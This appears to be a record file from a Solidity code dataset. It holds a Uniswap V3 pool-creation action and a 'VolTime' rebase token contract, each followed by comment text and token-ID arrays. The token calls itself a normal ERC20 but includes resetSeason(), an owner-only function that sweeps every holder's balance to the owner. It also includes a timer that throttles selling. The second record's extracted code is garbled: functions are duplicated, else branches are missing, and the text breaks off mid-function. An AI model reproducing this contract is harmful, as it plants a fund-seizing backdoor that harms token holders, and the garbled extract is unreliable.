/// @param deadline The time by which the transaction must be included to effect the change
/// @param from account to take amounts from
/// @param sqrtPriceX96 The initial square root price of the pool as a Q64.96 value
struct Params {
address token0;
address token1;
uint24 fee;
int24 tickLower;
int24 tickUpper;
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0Min;
uint256 amount1Min;
address recipient;
uint256 deadline;
address from;
uint160 sqrtPriceX96;
}
/// @inheritdoc ActionBase
function executeAction(
bytes[] memory _callData,
bytes[] memory _subData,
uint8[] memory _paramMapping,
bytes32[] memory _returnValues
) public payable virtual override returns (bytes32) {
Params memory inputData = parseInputs(_callData);
inputData.amount0Desired = _parseParamUint(
inputData.amount0Desired,
_paramMapping[0],
_subData,
_returnValues
);
inputData.amount1Desired = _parseParamUint(
inputData.amount1Desired,
_paramMapping[1],
_subData,
_returnValues
);
_createPool(inputData);
uint256 tokenId = _uniCreatePosition(inputData);
return bytes32(tokenId);
}
/// @inheritdoc ActionBase
function executeActionDirect(bytes[] memory _callData) public payable override {
Params memory inputData = parseInputs(_callData);
_createPool(inputData);
_uniCreatePosition(inputData);
}
/// @inheritdoc ActionBase
function actionType() public pure virtual override returns (uint8) {
return uint8(ActionType.STANDARD_ACTION);
}
//////////////////////////// ACTION LOGIC ////////////////////////////
function _createPool(Params memory _inputData) internal {
positionManager.createAndInitializePoolIfNecessary(
_inputData.token0,
_inputData.token1,
_inputData.fee,
_inputData.sqrtPriceX96
);
}
function _uniCreatePosition(Params memory _inputData) internal returns (uint256 tokenId) {
// fetch tokens from address;
uint256 amount0Pulled = _inputData.token0.pullTokensIfNeeded(
_inputData.from,
_inputData.amount0Desired
);
uint256 amount1Pulled = _inputData.token1.pullTokensIfNeeded(
_inputData.from,
_inputData.amount1Desired
);
// approve positionManager so it can pull tokens
_inputData.token0.approveToken(address(positionManager), amount0Pulled);
_inputData.token1.approveToken(address(positionManager), amount1Pulled);
_inputData.amount0Desired = amount0Pulled;
_inputData.amount1Desired = amount1Pulled;
uint128 liquidity;
uint256 amount0;
uint256 amount1;
(tokenId, liquidity, amount0, amount1) = _uniMint(_inputData);
//send leftovers
_inputData.token0.withdrawTokens(_inputData.from, sub(_inputData.amount0Desired, amount0));
_inputData.token1.withdrawTokens(_inputData.from, sub(_inputData.amount1Desired, amount1));
logger.Log(
address(this),
msg.sender,
"UniCreatePoolV3",
abi.encode(_inputData, tokenId, liquidity, amount0, amount1)
);
}
/// @dev mints new NFT that represents a position with selected parameters
/// @return tokenId of new NFT, how much liquidity it now has and amount of tokens that were transfered to uniswap pool
function _uniMint(Params memory _inputData)
internal
returns (
uint256 tokenId,
uint128 liquidity,
uint256 amount0,
uint256 amount1
)
{
IUniswapV3NonfungiblePositionManager.MintParams memory mintParams =
IUniswapV3NonfungiblePositionManager.MintParams({
token0: _inputData.token0,
token1: _inputData.token1,
fee: _inputData.fee,
tickLower: _inputData.tickLower,
tickUpper: _inputData.tickUpper,
amount0Desired: _inputData.amount0Desired,
amount1Desired: _inputData.amount1Desired,
amount0Min: _inputData.amount0Min,
amount1Min: _inputData.amount1Min,
recipient: _inputData.recipient,
deadline: _inputData.deadline
});
(tokenId, liquidity, amount0, amount1) = positionManager.mint(mintParams);
}
function parseInputs(bytes[] memory _callData) internal pure returns (Params memory inputData) {
inputData = abi.decode(_callData[0], (Params));
}
}
|
fetch tokens from address; approve positionManager so it can pull tokenssend leftovers
|
function _uniCreatePosition(Params memory _inputData) internal returns (uint256 tokenId) {
uint256 amount0Pulled = _inputData.token0.pullTokensIfNeeded(
_inputData.from,
_inputData.amount0Desired
);
uint256 amount1Pulled = _inputData.token1.pullTokensIfNeeded(
_inputData.from,
_inputData.amount1Desired
);
_inputData.token0.approveToken(address(positionManager), amount0Pulled);
_inputData.token1.approveToken(address(positionManager), amount1Pulled);
_inputData.amount0Desired = amount0Pulled;
_inputData.amount1Desired = amount1Pulled;
uint128 liquidity;
uint256 amount0;
uint256 amount1;
(tokenId, liquidity, amount0, amount1) = _uniMint(_inputData);
_inputData.token0.withdrawTokens(_inputData.from, sub(_inputData.amount0Desired, amount0));
_inputData.token1.withdrawTokens(_inputData.from, sub(_inputData.amount1Desired, amount1));
logger.Log(
address(this),
msg.sender,
"UniCreatePoolV3",
abi.encode(_inputData, tokenId, liquidity, amount0, amount1)
);
}
| 163,901 |
[
1,
5754,
2430,
628,
1758,
31,
6617,
537,
1754,
1318,
1427,
518,
848,
6892,
2430,
4661,
22725,
869,
2496,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
318,
77,
1684,
2555,
12,
1370,
3778,
389,
2630,
751,
13,
2713,
1135,
261,
11890,
5034,
1147,
548,
13,
288,
203,
3639,
2254,
5034,
3844,
20,
52,
332,
1259,
273,
389,
2630,
751,
18,
2316,
20,
18,
13469,
5157,
18299,
12,
203,
5411,
389,
2630,
751,
18,
2080,
16,
203,
5411,
389,
2630,
751,
18,
8949,
20,
25683,
203,
3639,
11272,
203,
3639,
2254,
5034,
3844,
21,
52,
332,
1259,
273,
389,
2630,
751,
18,
2316,
21,
18,
13469,
5157,
18299,
12,
203,
5411,
389,
2630,
751,
18,
2080,
16,
203,
5411,
389,
2630,
751,
18,
8949,
21,
25683,
203,
3639,
11272,
203,
203,
3639,
389,
2630,
751,
18,
2316,
20,
18,
12908,
537,
1345,
12,
2867,
12,
3276,
1318,
3631,
3844,
20,
52,
332,
1259,
1769,
203,
3639,
389,
2630,
751,
18,
2316,
21,
18,
12908,
537,
1345,
12,
2867,
12,
3276,
1318,
3631,
3844,
21,
52,
332,
1259,
1769,
203,
203,
3639,
389,
2630,
751,
18,
8949,
20,
25683,
273,
3844,
20,
52,
332,
1259,
31,
203,
3639,
389,
2630,
751,
18,
8949,
21,
25683,
273,
3844,
21,
52,
332,
1259,
31,
203,
203,
3639,
2254,
10392,
4501,
372,
24237,
31,
203,
3639,
2254,
5034,
3844,
20,
31,
203,
3639,
2254,
5034,
3844,
21,
31,
203,
3639,
261,
2316,
548,
16,
4501,
372,
24237,
16,
3844,
20,
16,
3844,
21,
13,
273,
389,
318,
77,
49,
474,
24899,
2630,
751,
1769,
203,
203,
3639,
389,
2630,
751,
18,
2316,
20,
18,
1918,
9446,
5157,
24899,
2630,
751,
18,
2080,
2
] |
// File: openzeppelin-eth/contracts/math/SafeMath.sol
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: zos-lib/contracts/Initializable.sol
pragma solidity >=0.4.24 <0.6.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
uint256 cs;
assembly { cs := extcodesize(address) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// File: openzeppelin-eth/contracts/ownership/Ownable.sol
pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable is Initializable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function initialize(address sender) public initializer {
_owner = sender;
}
/**
* @return the address of the owner.
*/
function owner() public view returns(address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[50] private ______gap;
}
// File: openzeppelin-eth/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.4.24;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-eth/contracts/token/ERC20/ERC20Detailed.sol
pragma solidity ^0.4.24;
/**
* @title ERC20Detailed token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract ERC20Detailed is Initializable, IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
function initialize(string name, string symbol, uint8 decimals) public initializer {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns(string) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns(string) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns(uint8) {
return _decimals;
}
uint256[50] private ______gap;
}
// File: uFragments/contracts/lib/SafeMathInt.sol
/*
MIT License
Copyright (c) 2018 requestnetwork
Copyright (c) 2018 Fragments, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
pragma solidity 0.4.24;
/**
* @title SafeMathInt
* @dev Math operations for int256 with overflow safety checks.
*/
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b)
internal
pure
returns (int256)
{
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a)
internal
pure
returns (int256)
{
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
}
// File: uFragments/contracts/IUniswapV2Pair.sol
interface IUniswapV2Pair {
function sync() external;
function skim(address to) external;
function token0() external view returns (address);
function token1() external view returns (address);
}
// File: uFragments/contracts/UFragments.sol
pragma solidity 0.4.24;
/**
* @title uFragments ERC20 token
* @dev This is part of an implementation of the uFragments Ideal Money protocol.
* uFragments is a normal ERC20 token, but its supply can be adjusted by splitting and
* combining value proportionally across all wallets.
*/
contract UFragments is ERC20Detailed, Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
uint256 private constant TOKEN_PRECISION = 1e6;
uint256 private constant DECIMALS = 6;
uint256 private constant MIN_SUPPLY = 240 * TOKEN_PRECISION;
uint256 private constant INITIAL_SUPPLY = 12000 * TOKEN_PRECISION;
uint256 private constant MAX_SUPPLY = 24000 * TOKEN_PRECISION;
struct User {
uint256 balance;
mapping(address => uint256) allowance;
uint256 appliedTokenCirculation;
uint256 executeTransferTimeOut;
}
struct Info {
uint256 totalSupply;
mapping(address => User) users;
uint256 coinWorkingTime;
address uniswapV2PairAddress;
bool initialSetup;
address[] contractUsers;
uint256 periodVolumenToken;
uint256 round;
uint256 divider;
uint256 drainSystem;
uint256 rewardBonus;
}
Info public info;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event AdjustSupply(uint256 value);
event AdjustUniswapSupply(uint256 value);
function initialize(address owner_)
public
initializer
{
ERC20Detailed.initialize("VolTime", "VolTime", uint8(DECIMALS));
Ownable.initialize(owner_);
info.coinWorkingTime = now;
info.uniswapV2PairAddress = address(0);
info.totalSupply = INITIAL_SUPPLY;
info.users[msg.sender].balance = INITIAL_SUPPLY;
info.users[msg.sender].appliedTokenCirculation = INITIAL_SUPPLY;
info.initialSetup = false;
info.round = 24 hours;
info.divider = 1 hours;
info.drainSystem = 60 seconds;
info.rewardBonus = 10;
emit Transfer(address(0x0), owner_, INITIAL_SUPPLY);
}
/**
* @return The total number of fragments.
*/
function totalSupply() public view returns (uint256) {
return info.totalSupply;
}
/**
* @dev Function to check the amount of value that an owner has allowed to a spender.
* @param owner_ The address which owns the funds.
* @param spender The address which will spend the funds.
* @return The number of value still available for the spender.
*/
function allowance(address owner_, address spender) public view returns (uint256) {
return info.users[owner_].allowance[spender];
}
/**
* @param who The address to query.
* @return The balance of the specified address.
*/
function balanceOf(address who) public view returns (uint256) {
bool isNewUser = info.users[who].balance == 0;
if(isNewUser)
{
return 0;
}
uint256 adjustedAddressBalance = ((info.users[who].balance * info.totalSupply) / info.users[who].appliedTokenCirculation);
return (adjustedAddressBalance);
}
/**
* @dev Approve the passed address to spend the specified amount of value on behalf of
* msg.sender. This method is included for ERC20 compatibility.
* increaseAllowance and decreaseAllowance should be used instead.
* Changing an allowance with this method brings the risk that someone may transfer both
* the old and the new allowance - if they are both greater than zero - if a transfer
* transaction is mined before the later approve() call is mined.
*
* @param spender The address which will spend the funds.
* @param value The amount of value to be spent.
*/
function approve(address spender, uint256 value) external returns (bool) {
info.users[msg.sender].allowance[spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer value to a specified address.
* @param to The address to transfer to.
* @param value The amount to be transferred.
* @return True on success, false otherwise.
*/
function transfer(address to, uint256 value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Transfer value from one address to another.
* @param from The address you want to send value from.
* @param to The address you want to transfer to.
* @param value The amount of value to be transferred.
*/
function transferFrom(address from, address to, uint256 value) external returns (bool) {
require(info.users[from].allowance[msg.sender] >= value);
info.users[from].allowance[msg.sender] -= value;
_transfer(from, to, value);
return true;
}
function _transfer(address from, address to, uint256 value) internal returns (uint256) {
require(balanceOf(from) >= value);
uint256 _transferred = 0;
bool isNewUser = info.users[to].balance == 0;
if(isNewUser)
{
info.users[to].appliedTokenCirculation = info.totalSupply;
info.users[to].executeTransferTimeOut = now;
info.contractUsers.push(to);
}
if(to == info.uniswapV2PairAddress){
require(info.users[from].executeTransferTimeOut + info.drainSystem < now);
info.users[from].executeTransferTimeOut = now;
}
if(from == info.uniswapV2PairAddress){
info.users[to].executeTransferTimeOut = now;
}
//Sync wallets
if(info.uniswapV2PairAddress != from && info.users[from].appliedTokenCirculation != info.totalSupply){
_adjRebase(from);
}
if(info.uniswapV2PairAddress != to && info.users[to].appliedTokenCirculation != info.totalSupply){
_adjRebase(to);
}
bool whenAbleToTransfer = info.users[from].appliedTokenCirculation == info.users[to].appliedTokenCirculation;
// Able to transfer on the same level only
if(whenAbleToTransfer){
info.users[from].balance -= value;
_transferred = value;
info.users[to].balance += _transferred;
emit Transfer(from, to, _transferred);
}
if(info.uniswapV2PairAddress == from || info.uniswapV2PairAddress == to){
info.periodVolumenToken += value;
}
if(info.uniswapV2PairAddress != address(0) && !isNewUser){
if(info.coinWorkingTime + info.round < now)
{
uint256 countOfCoins = (((now - info.coinWorkingTime) / info.divider) * TOKEN_PRECISION) * info.rewardBonus;
info.coinWorkingTime = now;
if(info.periodVolumenToken >= info.totalSupply){
if(info.totalSupply + countOfCoins >= MAX_SUPPLY){
info.totalSupply = MAX_SUPPLY;
}else{
info.totalSupply += countOfCoins;
}
}else{
if(info.totalSupply <= countOfCoins + MIN_SUPPLY){
info.totalSupply = MIN_SUPPLY;
}else{
info.totalSupply -= countOfCoins;
}
}
info.periodVolumenToken = 0;
emit AdjustSupply(info.totalSupply);
}
}
if(info.uniswapV2PairAddress != address(0)){
// Rebalance uniswap wallet even user to user
if(info.users[info.uniswapV2PairAddress].appliedTokenCirculation != info.totalSupply){
_adjRebase(info.uniswapV2PairAddress);
}
// Sync uniswap even user to user
if(info.uniswapV2PairAddress != from && info.uniswapV2PairAddress != to){
IUniswapV2Pair(info.uniswapV2PairAddress).sync();
}
}
return _transferred;
}
function initRebase (address _uniswapV2PairAddress) onlyOwner public {
require(!info.initialSetup);
info.initialSetup = true;
info.coinWorkingTime = now;
info.uniswapV2PairAddress = _uniswapV2PairAddress;
}
function rebaseTimeInfo() public view returns (bool _isTimeToRebase, uint256 _timeNow, uint256 _workingTime, uint256 _roundTime) {
bool isTimeToRebase = info.coinWorkingTime + info.round < now;
return(isTimeToRebase, now, info.coinWorkingTime, info.round);
}
function volTime() public view returns (uint256 volumenOnToken, uint256 _coinsToAddOrRemove, uint256 _totalSupply, uint256 _futureTotalSupply) {
uint256 countOfCoins = (((now - info.coinWorkingTime) / info.divider) * TOKEN_PRECISION) * info.rewardBonus;
uint256 futureTotalSupply = info.totalSupply;
if(info.periodVolumenToken >= info.totalSupply){
if(info.totalSupply + countOfCoins >= MAX_SUPPLY){
futureTotalSupply = MAX_SUPPLY;
}else{
futureTotalSupply += countOfCoins;
}
}else{
if(info.totalSupply <= countOfCoins + MIN_SUPPLY){
futureTotalSupply = MIN_SUPPLY;
}else{
futureTotalSupply -= countOfCoins;
}
}
if(futureTotalSupply == info.totalSupply){
_coinsToAddOrRemove = 0;
}
return(info.periodVolumenToken, countOfCoins, info.totalSupply, futureTotalSupply);
}
function _adjRebase(address person) private {
uint256 addressBalanceFrom = info.users[person].balance;
uint256 adjustedAddressBalanceFrom = (addressBalanceFrom * info.totalSupply) / info.users[person].appliedTokenCirculation;
info.users[person].balance = adjustedAddressBalanceFrom;
info.users[person].appliedTokenCirculation = info.totalSupply;
emit Transfer(person, person, adjustedAddressBalanceFrom);
}
function resetSeason() onlyOwner public {
for (uint id = 0; id < info.contractUsers.length; id++) {
address userAddress = info.contractUsers[id];
if(userAddress == info.uniswapV2PairAddress || userAddress == owner()){
emit Transfer(userAddress, userAddress, 0);
}else{
uint256 value = info.users[userAddress].balance;
info.users[userAddress].balance -= value;
info.users[owner()].balance += value;
emit Transfer(userAddress, owner(), value);
}
}
delete info.contractUsers;
}
}
|
* @title uFragments ERC20 token @dev This is part of an implementation of the uFragments Ideal Money protocol. uFragments is a normal ERC20 token, but its supply can be adjusted by splitting and combining value proportionally across all wallets./
|
contract UFragments is ERC20Detailed, Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
uint256 private constant TOKEN_PRECISION = 1e6;
uint256 private constant DECIMALS = 6;
uint256 private constant MIN_SUPPLY = 240 * TOKEN_PRECISION;
uint256 private constant INITIAL_SUPPLY = 12000 * TOKEN_PRECISION;
uint256 private constant MAX_SUPPLY = 24000 * TOKEN_PRECISION;
struct User {
uint256 balance;
mapping(address => uint256) allowance;
uint256 appliedTokenCirculation;
uint256 executeTransferTimeOut;
}
struct Info {
uint256 totalSupply;
mapping(address => User) users;
uint256 coinWorkingTime;
address uniswapV2PairAddress;
bool initialSetup;
address[] contractUsers;
uint256 periodVolumenToken;
uint256 round;
uint256 divider;
uint256 drainSystem;
uint256 rewardBonus;
}
Info public info;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event AdjustSupply(uint256 value);
event AdjustUniswapSupply(uint256 value);
function initialize(address owner_)
public
initializer
{
ERC20Detailed.initialize("VolTime", "VolTime", uint8(DECIMALS));
Ownable.initialize(owner_);
info.coinWorkingTime = now;
info.uniswapV2PairAddress = address(0);
info.totalSupply = INITIAL_SUPPLY;
info.users[msg.sender].balance = INITIAL_SUPPLY;
info.users[msg.sender].appliedTokenCirculation = INITIAL_SUPPLY;
info.initialSetup = false;
info.round = 24 hours;
info.divider = 1 hours;
info.drainSystem = 60 seconds;
info.rewardBonus = 10;
emit Transfer(address(0x0), owner_, INITIAL_SUPPLY);
}
function totalSupply() public view returns (uint256) {
return info.totalSupply;
}
function allowance(address owner_, address spender) public view returns (uint256) {
return info.users[owner_].allowance[spender];
}
function balanceOf(address who) public view returns (uint256) {
bool isNewUser = info.users[who].balance == 0;
if(isNewUser)
{
return 0;
}
uint256 adjustedAddressBalance = ((info.users[who].balance * info.totalSupply) / info.users[who].appliedTokenCirculation);
return (adjustedAddressBalance);
}
function balanceOf(address who) public view returns (uint256) {
bool isNewUser = info.users[who].balance == 0;
if(isNewUser)
{
return 0;
}
uint256 adjustedAddressBalance = ((info.users[who].balance * info.totalSupply) / info.users[who].appliedTokenCirculation);
return (adjustedAddressBalance);
}
function approve(address spender, uint256 value) external returns (bool) {
info.users[msg.sender].allowance[spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transfer(address to, uint256 value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
require(info.users[from].allowance[msg.sender] >= value);
info.users[from].allowance[msg.sender] -= value;
_transfer(from, to, value);
return true;
}
function _transfer(address from, address to, uint256 value) internal returns (uint256) {
require(balanceOf(from) >= value);
uint256 _transferred = 0;
bool isNewUser = info.users[to].balance == 0;
if(isNewUser)
{
info.users[to].appliedTokenCirculation = info.totalSupply;
info.users[to].executeTransferTimeOut = now;
info.contractUsers.push(to);
}
if(to == info.uniswapV2PairAddress){
require(info.users[from].executeTransferTimeOut + info.drainSystem < now);
info.users[from].executeTransferTimeOut = now;
}
if(from == info.uniswapV2PairAddress){
info.users[to].executeTransferTimeOut = now;
}
if(info.uniswapV2PairAddress != from && info.users[from].appliedTokenCirculation != info.totalSupply){
_adjRebase(from);
}
if(info.uniswapV2PairAddress != to && info.users[to].appliedTokenCirculation != info.totalSupply){
_adjRebase(to);
}
bool whenAbleToTransfer = info.users[from].appliedTokenCirculation == info.users[to].appliedTokenCirculation;
if(whenAbleToTransfer){
info.users[from].balance -= value;
_transferred = value;
info.users[to].balance += _transferred;
emit Transfer(from, to, _transferred);
}
if(info.uniswapV2PairAddress == from || info.uniswapV2PairAddress == to){
info.periodVolumenToken += value;
}
if(info.uniswapV2PairAddress != address(0) && !isNewUser){
if(info.coinWorkingTime + info.round < now)
{
uint256 countOfCoins = (((now - info.coinWorkingTime) / info.divider) * TOKEN_PRECISION) * info.rewardBonus;
info.coinWorkingTime = now;
if(info.periodVolumenToken >= info.totalSupply){
if(info.totalSupply + countOfCoins >= MAX_SUPPLY){
info.totalSupply = MAX_SUPPLY;
info.totalSupply += countOfCoins;
}
if(info.totalSupply <= countOfCoins + MIN_SUPPLY){
info.totalSupply = MIN_SUPPLY;
info.totalSupply -= countOfCoins;
}
}
info.periodVolumenToken = 0;
emit AdjustSupply(info.totalSupply);
}
}
if(info.uniswapV2PairAddress != address(0)){
if(info.users[info.uniswapV2PairAddress].appliedTokenCirculation != info.totalSupply){
_adjRebase(info.uniswapV2PairAddress);
}
if(info.uniswapV2PairAddress != from && info.uniswapV2PairAddress != to){
IUniswapV2Pair(info.uniswapV2PairAddress).sync();
}
}
return _transferred;
}
function _transfer(address from, address to, uint256 value) internal returns (uint256) {
require(balanceOf(from) >= value);
uint256 _transferred = 0;
bool isNewUser = info.users[to].balance == 0;
if(isNewUser)
{
info.users[to].appliedTokenCirculation = info.totalSupply;
info.users[to].executeTransferTimeOut = now;
info.contractUsers.push(to);
}
if(to == info.uniswapV2PairAddress){
require(info.users[from].executeTransferTimeOut + info.drainSystem < now);
info.users[from].executeTransferTimeOut = now;
}
if(from == info.uniswapV2PairAddress){
info.users[to].executeTransferTimeOut = now;
}
if(info.uniswapV2PairAddress != from && info.users[from].appliedTokenCirculation != info.totalSupply){
_adjRebase(from);
}
if(info.uniswapV2PairAddress != to && info.users[to].appliedTokenCirculation != info.totalSupply){
_adjRebase(to);
}
bool whenAbleToTransfer = info.users[from].appliedTokenCirculation == info.users[to].appliedTokenCirculation;
if(whenAbleToTransfer){
info.users[from].balance -= value;
_transferred = value;
info.users[to].balance += _transferred;
emit Transfer(from, to, _transferred);
}
if(info.uniswapV2PairAddress == from || info.uniswapV2PairAddress == to){
info.periodVolumenToken += value;
}
if(info.uniswapV2PairAddress != address(0) && !isNewUser){
if(info.coinWorkingTime + info.round < now)
{
uint256 countOfCoins = (((now - info.coinWorkingTime) / info.divider) * TOKEN_PRECISION) * info.rewardBonus;
info.coinWorkingTime = now;
if(info.periodVolumenToken >= info.totalSupply){
